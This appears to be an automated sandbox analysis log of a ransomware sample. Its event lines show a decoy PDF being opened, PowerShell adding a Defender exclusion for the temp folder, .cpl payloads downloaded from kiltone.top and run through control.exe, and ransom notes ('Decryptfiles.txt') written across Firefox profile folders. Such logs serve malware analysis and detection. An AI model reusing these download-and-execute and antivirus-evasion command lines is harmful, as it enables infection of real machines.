Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmpJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cplJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\control.exe control C:\Users\user\AppData\Local\Temp/fjeljies.cplJump to behavior
Source: C:\Windows\System32\control.exeProcess created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user\AppData\Local\Temp/fjeljies.cplJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe C:\Users\user\AppData\Local\Temp/eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\notepad.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt VolumeInformation
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

barindex
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\addonStartup.json.lz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\addonStartup.json.lz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\bookmarkbackups\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\AlternateServices.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\compatibility.ini
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\content-prefs.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\content-prefs.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\crashes\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-wal.xilg
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\crashes\events\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503498454.ca69b6fc-ff9f-4d48-bb41-c9832fdd5179.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503498460.d6fc6761-8dca-414d-bcd1-bdb2a6101c74.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503498460.d6fc6761-8dca-414d-bcd1-bdb2a6101c74.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503498461.1e2e5577-cac5-4055-93e4-8fa3b7876f3a.first-shutdown.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503498461.1e2e5577-cac5-4055-93e4-8fa3b7876f3a.first-shutdown.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503513571.e8b29a6f-8340-4314-aa45-e868999caed9.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503513604.61a14900-8c70-4dde-805f-8a3f6d6f547f.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503513604.61a14900-8c70-4dde-805f-8a3f6d6f547f.event.jsonlz4
